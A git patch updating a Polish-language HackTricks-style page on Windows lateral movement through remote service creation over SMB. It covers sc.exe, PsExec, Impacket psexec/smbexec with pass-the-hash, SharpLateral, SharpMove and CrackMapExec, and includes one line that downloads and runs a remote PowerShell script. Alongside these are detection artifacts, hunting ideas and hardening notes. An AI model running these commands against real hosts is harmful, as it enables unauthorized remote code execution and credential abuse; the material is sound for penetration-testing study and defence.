From e93ac24735f404f2ed58ece89da0b8a4285655b8 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 14:17:12 +0000 Subject: [PATCH] Translated ['src/windows-hardening/lateral-movement/psexec-and-winexec.m --- .../lateral-movement/psexec-and-winexec.md | 157 ++++++++++++++---- 1 file changed, 129 insertions(+), 28 deletions(-) diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index e837df0b7..5927a27c3 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -4,46 +4,147 @@ ## Jak to działa -Proces jest opisany w poniższych krokach, ilustrując, jak binaria usług są manipulowane w celu osiągnięcia zdalnego wykonania na docelowej maszynie za pośrednictwem SMB: +Te techniki wykorzystują Menedżera Kontroli Usług Windows (SCM) zdalnie przez SMB/RPC do wykonywania poleceń na docelowym hoście. Typowy przebieg to: -1. **Kopiowanie binariów usług do udziału ADMIN$ przez SMB** jest wykonywane. -2. **Tworzenie usługi na zdalnej maszynie** odbywa się poprzez wskazanie na binarium. -3. Usługa jest **uruchamiana zdalnie**. -4. Po zakończeniu usługa jest **zatrzymywana, a binarium jest usuwane**. +1. Uwierzytelnienie do celu i dostęp do udziału ADMIN$ przez SMB (TCP/445). +2. Skopiowanie pliku wykonywalnego lub określenie linii poleceń LOLBAS, którą usługa uruchomi. +3. Zdalne utworzenie usługi za pomocą SCM (MS-SCMR przez \PIPE\svcctl) wskazującej na to polecenie lub binarny plik. +4. Uruchomienie usługi w celu wykonania ładunku i opcjonalnie przechwycenie stdin/stdout przez nazwany potok. +5. Zatrzymanie usługi i sprzątanie (usunięcie usługi i wszelkich zrzucanych binarnych plików). -### **Proces ręcznego wykonywania PsExec** +Wymagania/wymogi wstępne: +- Lokalny administrator na docelowym hoście (SeCreateServicePrivilege) lub wyraźne prawa do tworzenia usług na docelowym hoście. +- SMB (445) dostępny i udział ADMIN$ dostępny; zdalne zarządzanie usługami dozwolone przez zaporę hosta. +- Ograniczenia UAC dla zdalnych: w przypadku lokalnych kont, filtrowanie tokenów może blokować dostęp administratora przez sieć, chyba że używa się wbudowanego Administratora lub LocalAccountTokenFilterPolicy=1. +- Kerberos vs NTLM: użycie nazwy hosta/FQDN umożliwia Kerberos; łączenie przez IP często wraca do NTLM (i może być zablokowane w wzmocnionych środowiskach). -Zakładając, że istnieje ładunek wykonywalny (stworzony za pomocą msfvenom i z obfuskowanym kodem przy użyciu Veil, aby uniknąć wykrycia przez oprogramowanie antywirusowe), nazwany 'met8888.exe', reprezentujący ładunek meterpreter reverse_http, podejmowane są następujące kroki: +### Ręczne ScExec/WinExec za pomocą sc.exe -- **Kopiowanie binarium**: Wykonywalny plik jest kopiowany do udziału ADMIN$ z wiersza poleceń, chociaż może być umieszczony w dowolnym miejscu w systemie plików, aby pozostać ukrytym. -- Zamiast kopiować binarium, można również użyć binarium LOLBAS, takiego jak `powershell.exe` lub `cmd.exe`, aby wykonać polecenia bezpośrednio z argumentów. Np. `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"` -- **Tworzenie usługi**: Wykorzystując polecenie Windows `sc`, które pozwala na zapytania, tworzenie i usuwanie usług Windows zdalnie, tworzona jest usługa o nazwie "meterpreter", wskazująca na przesłane binarium. -- **Uruchamianie usługi**: Ostatni krok polega na uruchomieniu usługi, co prawdopodobnie spowoduje błąd "time-out" z powodu tego, że binarium nie jest prawdziwym binarium usługi i nie zwraca oczekiwanego kodu odpowiedzi. Ten błąd jest nieistotny, ponieważ głównym celem jest wykonanie binarium. +Poniżej przedstawiono minimalne podejście do tworzenia usługi. Obraz usługi może być zrzucanym EXE lub LOLBAS, takim jak cmd.exe lub powershell.exe. +```cmd +:: Execute a one-liner without dropping a binary +sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand +sc.exe \\TARGET start HTSvc +sc.exe \\TARGET delete HTSvc -Obserwacja nasłuchiwacza Metasploit ujawni, że sesja została pomyślnie zainicjowana. - -[Dowiedz się więcej o poleceniu `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx). - -Znajdź bardziej szczegółowe kroki w: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -- Możesz również użyć **Windows Sysinternals binary PsExec.exe**: - -![](<../../images/image (928).png>) - -Lub uzyskać do niego dostęp przez webddav: -```bash -\\live.sysinternals.com\tools\PsExec64.exe -accepteula +:: Drop a payload to ADMIN$ and execute it (example path) +copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe +sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand +sc.exe \\TARGET start HTSvc +sc.exe \\TARGET delete HTSvc ``` -- Możesz również użyć [**SharpLateral**](https://github.com/mertdas/SharpLateral): +Notatki: +- Oczekuj błędu timeout przy uruchamianiu EXE, które nie jest usługą; wykonanie nadal się odbywa. +- Aby pozostać bardziej przyjaznym dla OPSEC, preferuj polecenia bezplikowe (cmd /c, powershell -enc) lub usuń zrzucane artefakty. + +Znajdź bardziej szczegółowe kroki w: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/ + +## Narzędzia i przykłady + +### Sysinternals PsExec.exe + +- Klasyczne narzędzie administracyjne, które używa SMB do zrzucania PSEXESVC.exe w ADMIN$, instaluje tymczasową usługę (domyślna nazwa PSEXESVC) i pośredniczy w I/O przez nazwane potoki. +- Przykłady użycia: +```cmd +:: Interactive SYSTEM shell on remote host +PsExec64.exe -accepteula \\HOST -s -i cmd.exe + +:: Run a command as a specific domain user +PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all + +:: Customize the service name for OPSEC (-r) +PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig +``` +- Możesz uruchomić bezpośrednio z Sysinternals Live za pomocą WebDAV: +```cmd +\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami +``` +OPSEC +- Zostawia zdarzenia instalacji/odinstalacji usługi (nazwa usługi często PSEXESVC, chyba że użyto -r) i tworzy C:\Windows\PSEXESVC.exe podczas wykonywania. + +### Impacket psexec.py (podobny do PsExec) + +- Używa osadzonej usługi podobnej do RemCom. Zrzuca tymczasowy plik binarny usługi (zwykle z losową nazwą) przez ADMIN$, tworzy usługę (domyślnie często RemComSvc) i przekazuje I/O przez nazwany potok. ```bash +# Password auth +psexec.py DOMAIN/user:Password@HOST cmd.exe + +# Pass-the-Hash +psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe + +# Kerberos (use tickets in KRB5CCNAME) +psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe + +# Change service name and output encoding +psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex" +``` +Artefakty +- Tymczasowy EXE w C:\Windows\ (losowe 8 znaków). Nazwa usługi domyślnie to RemComSvc, chyba że zostanie nadpisana. + +### Impacket smbexec.py (SMBExec) + +- Tworzy tymczasową usługę, która uruchamia cmd.exe i używa nazwanej rury do I/O. Zazwyczaj unika zrzucania pełnego ładunku EXE; wykonanie polecenia jest półinteraktywne. +```bash +smbexec.py DOMAIN/user:Password@HOST +smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST +``` +### SharpLateral i SharpMove + +- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) implementuje kilka metod ruchu lateralnego, w tym exec oparty na usłudze. +```cmd SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName ``` -- Możesz również użyć [**SharpMove**](https://github.com/0xthirteen/SharpMove): -```bash +- [SharpMove](https://github.com/0xthirteen/SharpMove) zawiera modyfikację/tworzenie usługi w celu zdalnego wykonania polecenia. +```cmd SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService SharpMove.exe action=startservice computername=remote.host.local servicename=TestService ``` -- Możesz również użyć **Impacket's `psexec` i `smbexec.py`**. +- Możesz również użyć CrackMapExec do wykonania za pomocą różnych backendów (psexec/smbexec/wmiexec): +```bash +cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec +cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec +``` +## OPSEC, wykrywanie i artefakty + +Typowe artefakty hosta/sieci przy użyciu technik podobnych do PsExec: +- Zdarzenia zabezpieczeń 4624 (Typ logowania 3) i 4672 (Specjalne uprawnienia) na docelowym koncie administratora. +- Zdarzenia zabezpieczeń 5140/5145 dotyczące udostępniania plików i szczegółowe zdarzenia udostępniania plików pokazujące dostęp do ADMIN$ oraz tworzenie/zapisywanie binariów usług (np. PSEXESVC.exe lub losowe 8-znakowe .exe). +- Instalacja usługi zabezpieczeń 7045 na docelowym: nazwy usług takie jak PSEXESVC, RemComSvc lub niestandardowe (-r / -service-name). +- Sysmon 1 (Utworzenie procesu) dla services.exe lub obrazu usługi, 3 (Połączenie sieciowe), 11 (Utworzenie pliku) w C:\Windows\, 17/18 (Rura utworzona/połączona) dla rur takich jak \\.\pipe\psexesvc, \\.\pipe\remcom_*, lub zrandomizowane odpowiedniki. +- Artefakt rejestru dla EULA Sysinternals: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 na hoście operatora (jeśli nie jest tłumione). + +Pomysły na polowanie +- Powiadomienie o instalacjach usług, gdzie ImagePath zawiera cmd.exe /c, powershell.exe lub lokalizacje TEMP. +- Szukaj tworzenia procesów, gdzie ParentImage to C:\Windows\PSEXESVC.exe lub dzieci services.exe działających jako LOCAL SYSTEM wykonujących powłokę. +- Oznaczaj nazwane rury kończące się na -stdin/-stdout/-stderr lub znane nazwy rur klonów PsExec. + +## Rozwiązywanie typowych problemów +- Odmowa dostępu (5) podczas tworzenia usług: brak prawdziwego lokalnego administratora, ograniczenia UAC dla lokalnych kont lub ochrona przed manipulacją EDR na ścieżce binariów usługi. +- Ścieżka sieciowa nie została znaleziona (53) lub nie można połączyć się z ADMIN$: zapora blokująca SMB/RPC lub wyłączone udostępnianie administratora. +- Kerberos nie działa, ale NTLM jest zablokowany: połącz się używając nazwy hosta/FQDN (nie IP), upewnij się, że SPN są poprawne, lub dostarcz -k/-no-pass z biletami przy użyciu Impacket. +- Rozpoczęcie usługi przekracza czas, ale ładunek działał: oczekiwane, jeśli nie jest to prawdziwy plik binarny usługi; przechwyć wyjście do pliku lub użyj smbexec do bieżącego I/O. + +## Notatki dotyczące zabezpieczeń (nowoczesne zmiany) +- Windows 11 24H2 i Windows Server 2025 wymagają podpisywania SMB domyślnie dla połączeń wychodzących (i Windows 11 przychodzących). Nie wpływa to na legalne użycie PsExec z ważnymi poświadczeniami, ale zapobiega nadużywaniu niepodpisanego SMB relay i może wpłynąć na urządzenia, które nie obsługują podpisywania. +- Nowe blokowanie NTLM klienta SMB (Windows 11 24H2/Server 2025) może uniemożliwić fallback NTLM przy łączeniu przez IP lub do serwerów nie-Kerberos. W zabezpieczonych środowiskach to złamie oparte na NTLM PsExec/SMBExec; użyj Kerberos (nazwa hosta/FQDN) lub skonfiguruj wyjątki, jeśli jest to rzeczywiście potrzebne. +- Zasada najmniejszych uprawnień: minimalizuj członkostwo lokalnych administratorów, preferuj Just-in-Time/Just-Enough Admin, egzekwuj LAPS i monitoruj/powiadamiaj o instalacjach usług 7045. + +## Zobacz także + +- WMI-based remote exec (często bardziej bezplikowe): +{{#ref}} +lateral-movement/wmiexec.md +{{#endref}} + +- WinRM-based remote exec: +{{#ref}} +lateral-movement/winrm.md +{{#endref}} + +## Odniesienia + +- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec +- Zabezpieczenia SMB w Windows Server 2025 i Windows 11 (podpisywanie domyślnie, blokowanie NTLM): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591 {{#include ../../banners/hacktricks-training.md}}